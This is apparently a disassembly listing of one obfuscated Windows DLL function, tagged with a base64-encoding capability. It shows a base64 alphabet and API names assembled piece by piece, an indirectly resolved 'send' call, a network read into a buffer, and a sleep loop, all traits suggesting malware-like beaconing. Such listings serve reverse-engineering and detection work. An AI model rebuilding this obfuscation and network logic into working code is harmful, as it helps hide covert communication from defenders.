Function at 0x1800035f0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2038]
mov eax, 0x2138
call fcn.180018a60
sub rsp, rax
mov rbx, r8
mov rsi, rdx
mov r15d, ecx
mov eax, dword [0x180036c30]
test al, 1
jne 0x180003637
or eax, 1
mov dword [0x180036c30], eax
mov r14d, r15d
lea r12d, [rcx - 0xe]
lea rcx, [0x180000000]
cmp r15d, r12d
jbe 0x180003a43
lea esi, [r15 - 0xc2]
mov edx, 0x77
lea edi, [rdx - 0x2e]
mov r11d, 0x3a22
lea r8d, [rdx - 4]
lea r9d, [rdx - 0x45]
lea r10d, [rdx - 3]
mov r13, qword [rbp + 0x2098]
cmp esi, 0x46
ja case.default.0x180003698
movzx eax, byte [rcx + rsi + 0x4490]
mov ecx, dword [rcx + rax*4 + 0x4454]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov word [rsp + 0x5b], r11w
mov byte [rsp + 0x5d], 0
lea rax, [rsp + 0x58]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], 0
jne 0x1800036b1
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1800036fb
lea rax, [rcx + rdi]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x1800036e1
mov rax, qword [rbx]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rsp + 0x58]
mov rcx, rbx
call fcn.180019dc0
mov byte [rbx + rdi], 0
jmp 0x180003713
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x58]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.180001ec0
mov rax, qword [rbp + 0x2088]
movsd xmm0, qword [rax]
movsd qword [rbp], xmm0
lea r8, [rbp]
mov edx, 0x6e
lea rcx, [rbp + 0x10]
call fcn.180006fd0
mov edi, 0x49
mov edx, 0x77
lea r8d, [rdx - 4]
lea r9d, [rdx - 0x45]
lea r10d, [rdx - 3]
mov r11d, 0x3a22
jmp case.0x180003698.14
xor eax, eax
mov word [rbp - 0x14], ax
lea r8d, [rax + 2]
lea rdx, [0x180028bb6]
lea rcx, [rbp - 0x14]
call fcn.18001d114
jmp 0x18000373a
mov dword [rbp - 0x18], 0x730077
jmp case.0x180003698.14
mov dword [0x180036be0], 0x434241
mov dword [0x180036be3], 0x47464544
mov eax, 0x48
mov word [0x180036be7], ax
jmp case.0x180003698.14
lea rax, [rbp + 0x10]
mov rdi, 0xffffffffffffffff
nop
inc rdi
cmp byte [rax + rdi], 0
jne 0x1800037b0
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1800037fc
lea rax, [rcx + rdi]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x1800037e0
mov rax, qword [rbx]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp + 0x10]
mov rcx, rbx
call fcn.180019dc0
mov byte [rbx + rdi], 0
jmp 0x180003735
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x10]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.180001ec0
jmp 0x180003735
mov dword [rbp - 0x50], 0x730077
mov word [rbp - 0x4c], r9w
jmp case.0x180003698.14
mov r8d, 3
lea rdx, [0x180028c2f]
lea rcx, [rsp + 0x58]
call fcn.18001d4d0
mov byte [rsp + 0x5b], 0
jmp 0x18000373a
mov r8d, 5
lea rdx, [0x180028cda]
lea rcx, [rbp - 0x18]
call fcn.18001d0cc
mov dword [rbp - 6], 0x6c
lea r8, [rbp - 0x18]
mov edx, 0x8a
lea ecx, [rdx - 0x7a]
call fcn.180006fd0
mov r13, rax
mov r8, qword [rbp + 0x2088]
mov edx, 0xea
xor ecx, ecx
call fcn.1800168c0
test al, al
je 0x180003c89
jmp 0x18000373a
movabs rax, 0x2e00720067006d
mov qword [rbp - 0x78], rax
xor eax, eax
mov word [rbp - 0x70], ax
lea r8d, [rax + 1]
lea rdx, [0x180028cee]
lea rcx, [rbp - 0x80]
call fcn.18001d0cc
mov eax, 0x78
mov word [rbp - 0x6e], ax
jmp 0x18000373a
xor eax, eax
mov word [rbp - 0x10], ax
jmp case.0x180003698.14
mov word [0x180036be8], di
mov dword [0x180036be9], 0x4c4b4a
mov eax, 0x4d
mov word [0x180036bec], ax
jmp case.0x180003698.14
xor r9d, r9d
mov r8d, 0x2000
lea rdx, [rbp + 0x30]
mov rax, qword [rbp + 0x2088]
mov rcx, qword [rax]
call r13
test eax, eax
je 0x180003c89
jns 0x180003960
mov edx, 0x53
mov ecx, edx
sub ecx, 0x53
je 0x180003955
sub ecx, 0x2e
je 0x180003950
cmp ecx, 0x2e
jne 0x180003955
mov eax, dword [rsp + 0x30]
add rsp, 0x2138
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov byte [rsp + 0x30], 0
add edx, 0x2e
cmp edx, 0xdd
jb 0x180003927
movsxd rdi, eax
mov rcx, qword [rbx + 0x10]
mov rdx, qword [rbx + 0x18]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1800039ab
lea rax, [rcx + rdi]
mov qword [rbx + 0x10], rax
mov rax, rbx
cmp rdx, 0x10
jb 0x18000398a
mov rax, qword [rbx]
lea rbx, [rax + rcx]
mov r8, rdi
lea rdx, [rbp + 0x30]
mov rcx, rbx
call fcn.180019dc0
mov byte [rbx + rdi], 0
mov byte [rsp + 0x30], 1
jmp 0x180003735
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x30]
xor r8d, r8d
mov rdx, rdi
mov rcx, rbx
call fcn.180001ec0
mov byte [rsp + 0x30], 1
jmp 0x180003735
mov word [rbp - 0x80], r10w
mov eax, dword [0x180028d36]
mov dword [rbp - 0x7e], eax
movzx eax, word [0x180028d3a]
mov word [rbp - 0x7a], ax
lea rcx, [0x180000000]
dec r14d
dec esi
cmp r14d, r12d
jbe 0x180003a3c
mov rbx, qword [rbp + 0x2090]
jmp 0x180003676
mov rbx, qword [rbp + 0x2088]
nop dword [rax]
imul ecx, dword [rbx + 0xc], 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbx + 8]
mov dword [rbp + 0x2080], eax
lea r8, [rbp + 0x2080]
mov rdx, qword [rbx]
mov ecx, 0x101
call fcn.18000c490
jmp 0x180003a10
mov rsi, qword [rbp + 0x2088]
lea r14d, [r15 + 0xe]
mov dword [rbp + 0x2080], r14d
cmp r15d, r14d
jae case.0x180003aa2.3
lea ebx, [r15 - 0xc2]
mov edx, 0x70
lea r11d, [rdx - 9]
lea r8d, [rdx - 0x22]
lea r9d, [rdx - 0x21]
mov r10d, 0x5150
lea r12d, [rdx - 0xc]
mov rdi, qword [rbp + 0x2098]
cmp ebx, 0x4a
ja case.0x180003aa2.14
movzx eax, byte [rcx + rbx + 0x4514]
mov ecx, dword [rcx + rax*4 + 0x44d8]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov word [0x180036c00], r11w
mov eax, 0x68
mov word [0x180036c01], ax
mov eax, 0x69
mov word [0x180036c02], ax
mov dword [0x180036c03], 0x6d6c6b6a
jmp case.0x180003aa2.14
mov eax, 0x65
mov word [rbp - 0x24], ax
jmp case.0x180003aa2.14
mov dword [0x180036c07], 0x706f6e
jmp case.0x180003aa2.14
mov dword [0x180036bf8], 0x615a59
mov dword [0x180036bfb], 0x65646362
mov eax, 0x66
mov word [0x180036bff], ax
jmp case.0x180003aa2.14
mov word [0x180036bed], r8w
mov word [0x180036bee], r9w
mov word [0x180036bef], r10w
jmp case.0x180003aa2.14
mov dword [rbp - 0x4a], 0x33005f
mov dword [rbp - 0x46], 0x2e0032
mov word [rbp - 0x42], r12w
jmp case.0x180003aa2.14
movsd xmm0, qword [0x180028d4a]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x180028d52]
mov word [rbp - 0x30], ax
xor eax, eax
mov word [rbp - 0x2e], ax
lea r8d, [rax + 2]
lea rdx, [0x180028dca]
lea rcx, [rbp - 0x2e]
call fcn.18001d114
mov eax, dword [0x180028df8]
mov dword [rbp - 0x2a], eax
movzx eax, word [0x180028dfc]
mov word [rbp - 0x26], ax
mov edx, 0x70
lea r8d, [rdx - 0x22]
lea r9d, [rdx - 0x21]
mov r10d, 0x5150
lea r11d, [rdx - 9]
jmp case.0x180003aa2.14
xor eax, eax
mov word [rbp - 0x22], ax
mov dword [rbp - 0x68], 0x720070
jmp case.0x180003aa2.14
mov dword [rbp - 0x40], 0x6c006c
xor eax, eax
mov word [rbp - 0x3c], ax
lea r8, [rbp - 0x50]
mov edx, 0x8a
lea rcx, str.send
call fcn.180006fd0
mov rdi, rax
jmp 0x180003b90
mov dword [rbp - 0x64], 0x63006f
mov eax, 0x65
mov word [rbp - 0x60], ax
mov dword [rbp - 0x5e], 0x700078
jmp case.0x180003aa2.14
xor eax, eax
mov word [rbp - 0x6c], ax
lea r8d, [rax + 1]
lea rdx, [0x180028e12]
lea rcx, [rbp - 0x80]
call fcn.18001d0cc
jmp 0x180003b90
mov dword [0x180036bf1], 0x55545352
mov eax, 0x56
mov word [0x180036bf5], ax
mov eax, 0x57
mov word [0x180036bf6], ax
mov eax, 0x58
mov word [0x180036bf7], ax
inc ebx
lea eax, [rbx + 0xc2]
cmp eax, r14d
jae 0x180003c9d
lea rcx, [0x180000000]
jmp 0x180003a80
mov rax, qword [rbp + 0x2090]
mov rdx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180003c78
mov rdx, qword [rax]
xor r9d, r9d
mov r8d, dword [rax + 0x10]
mov rcx, qword [rsi]
call rdi
cmp eax, 0xffffffff
jne 0x180003c93
mov byte [rsp + 0x30], 0
jmp case.0x180003aa2.3
mov byte [rsp + 0x30], 1
jmp case.0x180003aa2.3
lea edx, [r15 - 0xde]
mov dword [rbp + 0x2098], edx
movabs r8, 0xaaaaaaaaaaaaaaab
mov r10d, 0x7877
mov r14, qword [0x180036c28]
mov rbx, qword [rbp + 0x2098]
mov rdi, qword [rbp + 0x2098]
mov r12d, dword [rbp + 0x2080]
mov r15d, dword [rbp + 0x2080]
mov r13d, dword [rbp + 0x2080]
mov ecx, dword [rbp + 0x2080]
mov r9d, 0x34
cmp edx, 0x2d
ja case.default.0x180003d19
lea rcx, [0x180000000]
movzx eax, byte [rcx + rdx + 0x459c]
mov ecx, dword [rcx + rax*4 + 0x4560]
lea rax, [0x180000000]
add rcx, rax
jmp rcx
mov word [0x180036c18], r9w
jmp case.0x180003d19.10
mov r10, qword [rbp + 0x2090]
mov rcx, qword [r10 + 0x10]
mov r8, qword [rbp + 8]
cmp r8, rcx
ja 0x180003d54
mov qword [r10 + 0x10], r8
mov rax, r10
cmp qword [r10 + 0x18], 0x10
jb 0x180003d4d
mov rax, qword [r10]
mov byte [rax + r8], 0
jmp 0x180003dba
mov rsi, r8
sub rsi, rcx
mov rdx, qword [r10 + 0x18]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x180003d90
mov qword [r10 + 0x10], r8
mov rax, r10
cmp rdx, 0x10
jb 0x180003d79
mov rax, qword [r10]
lea rbx, [rax + rcx]
mov r8, rsi
xor edx, edx
mov rcx, rbx
call fcn.18001a1d0
mov byte [rbx + rsi], 0
jmp 0x180003dad
mov byte [rsp + 0x20], 0
mov r9, rsi
xor r8d, r8d
mov rdx, rsi
mov rcx, r10
call fcn.180002040
mov r14, qword [0x180036c28]
mov edx, dword [rbp + 0x2098]
mov rsi, qword [rbp + 0x2088]
mov rbx, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x180003dc7
mov rbx, qword [rsi]
movabs r8, 0xaaaaaaaaaaaaaaab
mov r10d, 0x7877
jmp case.0x180003d19.10
mov rax, qword [rbp + 0x2090]
mov rdi, rax
cmp qword [rax + 0x18], 0x10
jb 0x180003df0
mov rdi, qword [rax]
mov rax, r8
mul qword [rsi + 0x10]
shr rdx, 1
lea rcx, [rdx + rdx*2]
xor eax, eax
mov qword [rbp - 0x20], rax
test rcx, rcx
je 0x180003eb8
dec rcx
mov rax, r8
mul rcx
shr rdx, 1
inc rdx
lea rax, [rdx + rdx*2]
mov qword [rbp - 0x20], rax
nop dword [rax]
nop dword [rax + rax]
mov r8d, 0x6b
mov eax, r8d
sub eax, 0x6a
je 0x180003e8a
cmp eax, 1
jne 0x180003e9f
movzx eax, byte [rbx]
shr rax, 2
movzx eax, byte [rax + r14]
mov byte [rdi], al
movzx ecx, byte [rbx]
and ecx, 3
shl ecx, 4
movzx eax, byte [rbx + 1]
shr eax, 4
add ecx, eax
movzx ecx, byte [rcx + r14]
mov byte [rdi + 1], cl
movzx ecx, byte [rbx + 1]
and ecx, 0xf
movzx eax, byte [rbx + 2]
shr eax, 6
lea eax, [rax + rcx*4]
movzx eax, byte [rax + r14]
mov byte [rdi + 2], al
add rdi, 3
jmp 0x180003e9f
movzx eax, byte [rbx + 2]
and eax, 0x3f
movzx eax, byte [rax + r14]
mov byte [rdi], al
inc rdi
add rbx, 3
dec r8d
cmp r8d, 0x69
ja 0x180003e36
sub rdx, 1
jne 0x180003e30
movabs r8, 0xaaaaaaaaaaaaaaab
mov edx, dword [rbp + 0x2098]
mov ecx, dword [rbp + 0x2080]
inc edx
mov dword [rbp + 0x2098], edx
lea eax, [rdx + 0xde]
cmp eax, ecx
jae case.0x180003aa2.3
jmp 0x180003cea
xor r14d, r14d
mov word [rsp + 0x7a], r14w
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r14w
lea rax, [rbp - 0x80]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x180003f10
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x38]
call fcn.180017eb0
nop
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x180003f56
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x38], r14w
add qword [rsi + 8], 0x20
jmp 0x180003f68
lea r8, [rsp + 0x38]
mov rcx, rsi
call fcn.180001750
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x180003fa5
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003fa0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000444e
call fcn.1800186c0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r14w
lea rax, [rbp - 0x38]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x180003fc4
lea rdx, [rbp - 0x38]
lea rcx, [rsp + 0x38]
call fcn.180017eb0
nop
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x18000400b
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x38], r14w
add qword [rsi + 8], 0x20
jmp 0x18000401d
lea r8, [rsp + 0x38]
mov rcx, rsi
call fcn.180001750
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x18000405a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004055
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000444e
call fcn.1800186c0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r14w
lea rax, [rbp - 0x68]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180004080
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x38]
call fcn.180017eb0
nop
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x1800040c7
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x38], r14w
add qword [rsi + 8], 0x20
jmp 0x1800040d9
lea r8, [rsp + 0x38]
mov rcx, rsi
call fcn.180001750
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x180004116
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004111
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000444e
call fcn.1800186c0
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r14w
lea rax, [rsp + 0x60]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x180004140
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.180017eb0
nop
mov rdx, qword [rsi + 8]
cmp rdx, qword [rsi + 0x10]
je 0x180004188
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x38], r14w
add qword [rsi + 8], 0x20
jmp 0x18000419a
lea r8, [rsp + 0x38]
mov rcx, rsi
call fcn.180001750
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x1800041d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800041d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000444e
call fcn.1800186c0
mov r14, qword [0x180036c28]
mov edx, dword [rbp + 0x2098]
jmp 0x180003dc7
mov dword [rsp + 0x68], 0x65
mov r8d, 3
lea rdx, [0x180028eae]
lea rcx, [rsp + 0x60]
call fcn.18001d0cc
movsd xmm0, qword [0x180028eea]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x180028ef2]
mov word [rsp + 0x78], ax
mov r14, qword [0x180036c28]
mov edx, dword [rbp + 0x2098]
jmp 0x180003dc7
mov eax, 0x35
mov word [0x180036c19], ax
mov eax, 0x36
mov word [0x180036c1a], ax
mov eax, 0x37
mov word [0x180036c1b], ax
jmp case.0x180003d19.10
mov dword [0x180036c0c], 0x76757473
mov dword [0x180036c10], 0x797877
jmp case.0x180003d19.10
mov eax, 0x7a
mov word [0x180036c13], ax
mov eax, 0x30
mov word [0x180036c14], ax
mov eax, 0x31
mov word [0x180036c15], ax
mov eax, 0x3332
mov word [0x180036c16], ax
jmp case.0x180003d19.10
mov r9, qword [rbp - 0x20]
cmp r9, qword [rsi + 0x10]
jae case.0x180003d19.10
mov edx, 0x124
nop
cmp edx, 0x124
je 0x18000434d
cmp edx, 0xa440
je 0x18000433a
cmp edx, 0x1475c
je 0x1800042f0
cmp edx, 0x1ea78
jne 0x18000436c
mov byte [rdi], 0x3d
inc rdi
jmp 0x18000436c
mov ecx, r12d
and ecx, 3
shl ecx, 4
mov eax, r15d
shr eax, 4
add ecx, eax
movzx ecx, byte [rcx + r14]
mov byte [rdi], cl
lea rax, [r9 + 1]
cmp rax, qword [rsi + 0x10]
jae 0x18000432f
mov ecx, r15d
and ecx, 0xf
mov eax, r13d
shr eax, 6
lea eax, [rax + rcx*4]
movzx eax, byte [rax + r14]
mov byte [rdi + 1], al
add rdi, 2
jmp 0x18000436c
mov al, 0x3d
mov byte [rdi + 1], al
add rdi, 2
jmp 0x18000436c
mov eax, r12d
shr rax, 2
movzx eax, byte [rax + r14]
mov byte [rdi], al
inc rdi
jmp 0x18000436c
movzx r12d, byte [rbx]
lea rax, [r9 + 1]
cmp rax, qword [rsi + 0x10]
jae 0x180004364
movzx r15d, byte [rbx + 1]
xor eax, eax
jmp 0x180004369
xor eax, eax
mov r15d, eax
mov r13d, eax
add edx, 0xa31c
cmp edx, 0x28c70
jbe 0x1800042c0
jmp 0x180003eb8
mov dword [0x180036c1c], 0x2b3938
jmp case.0x180003d19.10
mov dword [rbp - 0x5a], 0x65002e
mov dword [rbp - 0x56], 0x650078
jmp case.0x180003d19.10
mov eax, 0x2f
mov word [0x180036c1f], ax
lea r14, [0x180036be0]
mov qword [0x180036c28], r14
mov rcx, qword [rsi + 0x10]
add rcx, 2
mov rax, r8
mul rcx
mov rax, rdx
shr rax, 1
shl rax, 2
mov qword [rbp + 8], rax
jmp 0x180003eb8
mov eax, 0x71
mov word [0x180036c0a], ax
mov eax, 0x72
mov word [0x180036c0b], ax
jmp case.0x180003d19.10
xor r14d, r14d
mov word [rbp - 0x52], r14w
mov eax, dword [0x180028f98]
mov dword [rsp + 0x60], eax
movzx eax, word [0x180028f9c]
mov word [rsp + 0x64], ax
mov word [rsp + 0x66], r14w
lea r8d, [r14 + 1]
lea rdx, [0x180028fe0]
lea rcx, [rsp + 0x66]
call fcn.18001d114
mov word [rsp + 0x68], r14w
mov r14, qword [0x180036c28]
mov edx, dword [rbp + 0x2098]
jmp 0x180003dc7
call fcn.18001ced4
int3